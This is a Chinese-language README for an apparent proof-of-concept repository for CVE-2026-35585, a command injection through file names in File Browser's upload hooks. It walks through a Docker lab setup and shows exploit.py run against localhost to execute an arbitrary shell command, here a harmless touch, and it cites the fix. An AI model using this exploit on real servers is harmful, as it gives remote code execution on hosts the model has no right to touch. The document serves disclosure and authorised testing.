Saku0512/CVE-2026-35585-poc
GitHub: Saku0512/CVE-2026-35585-poc
本项目提供一个 CVE-2026-35585 的概念验证脚本,帮助安全人员在授权测试中复现 File Browser 的命令注入漏洞。
Stars: 0 | Forks: 0
# CVE-2026-35585: 文件浏览器操作系统命令注入 PoC
## 描述
本仓库包含 **CVE-2026-35585** 的概念验证(PoC),这是一个在 **File Browser**(版本 2.0.0 至 2.33.1)中发现的严重操作系统命令注入漏洞。
该漏洞存在于“自定义命令钩子”功能中。由于在 shell 执行期间对 `$FILE` 或 `$USERNAME` 等环境变量的清理不足,具有文件上传权限的认证用户可以通过精心构造的文件名在主机系统上执行任意命令。
**发现者:** saku0512(https://github.com/Saku0512)
## ⚠️ 免责声明
**本项目仅用于教育和道德安全测试目的。**
作者不对任何误用、损害或非法活动负责。未经授权访问计算机系统是非法的。通过使用本软件,您同意仅在明确授权的安全测试环境中使用它。
## 漏洞详情
- **CVE ID:** CVE-2026-35585
- **类型:** 操作系统命令注入(CWE-78)
- **影响:** 远程代码执行(RCE)
- **受影响版本:** v2.0.0 <= File Browser <= v2.33.1
- **修复版本:** v2.33.8
### 根本原因
File Browser 允许管理员设置钩子(例如“上传后”)。当这些钩子被触发时,应用程序执行 shell 命令并将 `$FILE` 等变量替换为实际文件名。如果文件名包含 shell 元字符(例如 `;`、`&`、`|`),它们将在系统 shell 中执行而未经适当转义。
## 概念验证(使用方法)
本节介绍如何使用提供的环境和利用脚本重现远程代码执行(RCE)。
### 1. 环境搭建
使用 Docker Compose 部署易受攻击的环境(File Browser v2.33.1):
```
# 确保数据目录具有正确的权限
mkdir -p data && sudo chown -R 1000:1000 data
docker compose up -d
```
### 2. 配置(目标环境)
要触发漏洞,必须配置基于 shell 的钩子。由于 SQLite 在容器运行时可能会锁定数据库,我们推荐以下“离线”配置方法:
```
# 1. 停止正在运行的容器以释放数据库锁
docker compose stop
# 2. 使用临时容器配置设置
# 将 Shell 设置为 "sh -c"
docker run --rm -v $(pwd)/data:/database filebrowser/filebrowser:v2.33.1 /bin/filebrowser config set --shell "sh -c" --database /database/filebrowser.db
# 添加上传后命令
docker run --rm -v $(pwd)/data:/database filebrowser/filebrowser:v2.33.1 /bin/filebrowser cmds add after_upload 'echo Uploaded: $FILE' --database /database/filebrowser.db
# 将管理员密码重置为 "admin"
docker run --rm -v $(pwd)/data:/database filebrowser/filebrowser:v2.33.1 /bin/filebrowser users update admin --password admin --database /database/filebrowser.db
# 3. 重新启动容器
docker compose start
```
### 3. 执行利用
运行 `exploit.py` 脚本以自动化登录和恶意文件上传。以下命令尝试在容器的 `/tmp` 目录中创建一个名为 `pwned_rce_test` 的文件:
```
# 安装依赖项
pip install requests
# 运行漏洞利用
python3 exploit.py -t http://localhost:8080 -u admin -p admin -c "touch /tmp/pwned_rce_test"
```
### 4. 验证
通过检查容器中是否存在该文件来验证命令是否成功执行:
```
docker exec -it cve-2026-35585-vuln-app ls -l /tmp/pwned_rce_test
```
如果文件存在,则确认 RCE 有效。
## 修复措施
将 File Browser 更新至 **版本 2.33.8 或更高版本**。
在修复版本中,钩子功能默认已禁用,且变量扩展处理更加安全。
## 参考
- [CVE-2026-35585(cve.org)](https://www.cve.org/CVERecord?id=CVE-2026-35585)
- [官方 GitHub 安全公告](https://github.com/filebrowser/filebrowser/security/advisories/GHSA-jvpw-637p-h3pw)
标签:$FILE, $USERNAME, 2026-35585, Cutter, CVE, CWE-78, Docker, File Browser, Hook, OS命令注入, PoC, RCE, saku0512, Shell注入, 代码执行, 命令注入, 命令注入漏洞, 安全测试, 安全防御评估, 攻击性安全, 教育用途, 数字签名, 文件上传权限, 文件名注入, 文件浏览器, 暴力破解, 漏洞, 漏洞披露, 版权保护, 环境变量注入, 编程工具, 自定义命令钩子, 远程代码执行, 逆向工具